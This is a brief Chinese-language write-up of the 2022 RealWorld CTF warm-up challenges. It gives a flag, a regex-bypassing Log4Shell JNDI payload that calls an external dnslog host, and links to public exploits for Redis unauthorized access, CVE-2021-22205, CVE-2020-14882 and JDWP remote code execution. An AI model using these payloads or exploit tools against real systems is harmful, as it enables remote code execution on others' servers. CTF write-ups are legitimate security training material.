2022 RealWorld CTF体验赛Writeup

Digital Souvenirlog4flagBe-a-Database-Hackerthe Secrets of Memorybaby flaglabFlag ConsoleBe-a-Database-Hacker 2Java Remote Debugger

rwctf{RealWorldIsAwesome}

有一些正则过滤

网上bypass方法很多，随便找一个就行

${${::-j}ndi:${lower:rmi}://vw3nwn.dnslog.cn/exp}

Refer：https://cloud.tencent.com/developer/article/1921530

redis未授权访问

Refer: https://github.com/n0b0dyCN/redis-rogue-server

Refer：https://landgrey.me/blog/16/

Refer：https://github.com/Al1ex/CVE-2021-22205

Refer：https://github.com/backlion/CVE-2020-14882_ALL

Refer：https://blog.csdn.net/qq_36869808/article/details/122426922

Test.java

import java.lang.Thread;
public class Test {
  public static void main (String[] args) throws Exception{
    int i = 0;
    while (1 == 1) {
      Thread.sleep(1000);
      System.out.println("" + i);
      i += 1;
    }
  }
}

Java Debug Wire Protocol (JDWP) - Remote Code Execution

Refer：https://security.tencent.com/index.php/blog/msg/137